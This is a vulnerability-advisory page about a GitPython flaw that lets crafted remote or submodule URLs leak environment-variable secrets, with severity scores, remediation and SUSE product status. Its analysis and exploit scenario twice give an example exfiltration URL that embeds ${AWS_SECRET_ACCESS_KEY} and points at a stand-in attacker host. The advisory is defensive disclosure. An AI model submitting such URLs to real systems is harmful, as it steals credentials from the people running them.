Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-delivered crafted URL triggers server-side expansion with no authentication required; confidentiality-only impact as no code execution or data modification occurs.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3Blast Radius
ecosystem impact- 1 pypi packages depend on gitpython (1 direct, 0 indirect)
Ecosystem-wide dependent count for version 3.1.55.
DescriptionCVE.org
GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.
AnalysisAI
Environment variable exfiltration in GitPython before 3.1.55 allows attackers to steal secrets from the hosting process environment by supplying crafted URLs containing shell variable references to Remote.create() (via Repo.create_remote() or Remote.add()) and Submodule.add() API methods. This is an incomplete fix of GHSA-rwj8-pgh3-r573: the prior patch disabled variable expansion only in Repo.clone_from(), leaving sibling callers unguarded - URLs such as https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git are expanded server-side, persisted to .git/config or .gitmodules, and transmitted to the attacker's host on the next fetch or pull. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires three concurrent conditions: (1) the target application runs GitPython 3.1.53 or earlier and calls Repo.create_remote(), Remote.add(), or Submodule.add() with an attacker-influenced URL - common in platforms that allow users to register remote repositories, import submodules, or configure Git integrations; (2) the hosting process has sensitive values set as environment variables (cloud credentials, database URLs, API tokens) at the time URL processing occurs; and (3) the application subsequently performs a fetch or pull against the newly created remote, transmitting the expanded URL to the attacker's host. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N) scores 8.7, reflecting high confidentiality impact with no special attack prerequisites - appropriate for deployments where applications accept user-supplied remote URLs without authentication or input validation. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker targeting a self-hosted GitOps platform or CI/CD pipeline that permits users to register remote repository URLs crafts a URL embedding shell variable tokens - for example https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git - and submits it as the URL for a new remote or submodule. The GitPython-backed application calls Remote.create() or Submodule.add(), causing polish_url() to expand the token against the hosting process's live environment and write the resolved secret-bearing URL to .git/config or .gitmodules. … |
| Remediation | The primary fix is to upgrade GitPython to version 3.1.55 or later; this release applies expand_vars=False to all attacker-influenceable URL processing paths in Remote.create() and Submodule.add(), fully closing the gap left by the prior fix. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, identify all applications and systems using GitPython and establish an inventory with current version numbers. …
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All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, w
GitPython is a python library used to interact with Git repositories. Rated high severity (CVSS 7.8), this vulnerability
GitPython is a python library used to interact with Git repositories. Rated medium severity (CVSS 6.5), this vulnerabili
GitPython before 3.1.32 does not block insecure non-multi options in clone and clone_from. Rated critical severity (CVSS
Arbitrary code execution in GitPython before 3.1.59 arises from unsafe re-serialization of multi-line, quoted git-config
Command execution in GitPython 3.1.50 arises because its default unsafe-option gate fails to recognize joined short-opti
Command injection in GitPython before 3.1.51 allows low-privileged attackers to bypass the `check_unsafe_options` blockl
Command injection and arbitrary file overwrite in GitPython before 3.1.51 expose applications that pass attacker-control
Remote code execution in GitPython before 3.1.54 exploits a guard bypass in check_unsafe_options where the validation lo
Arbitrary OS command execution in GitPython before 3.1.58 is possible by bypassing the check_unsafe_options guard using
Arbitrary directory creation and potential hook-based code execution in GitPython affects all releases before 3.1.59. Th
Config-name injection in GitPython <= 3.1.57 enables arbitrary git-config directive forgery and remote code execution vi
Same weakness CWE-200 – Information Exposure
View allSame technique Information Disclosure
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Desktop 15 SP7 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP7 | Affected |
| SUSE Linux Enterprise Server 15 SP7 | Affected |
| SUSE Linux Enterprise Server 16.0 | Affected |
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| openSUSE Leap 16.0 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP4 | Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP6 | Affected |
| SUSE Linux Enterprise Server 15 SP4 | Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP5 | Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP6 | Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Affected |
| SUSE Manager Proxy 4.3 | Affected |
| SUSE Manager Retail Branch Server 4.3 | Affected |
| SUSE Manager Server 4.3 | Affected |
| SUSE Linux Enterprise Desktop 15 SP4 | Affected |
| SUSE Linux Enterprise Desktop 15 SP5 | Affected |
| SUSE Linux Enterprise Desktop 15 SP6 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Affected |
| openSUSE Leap 15.4 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-57826
GHSA-9rmj-fh79-gf6w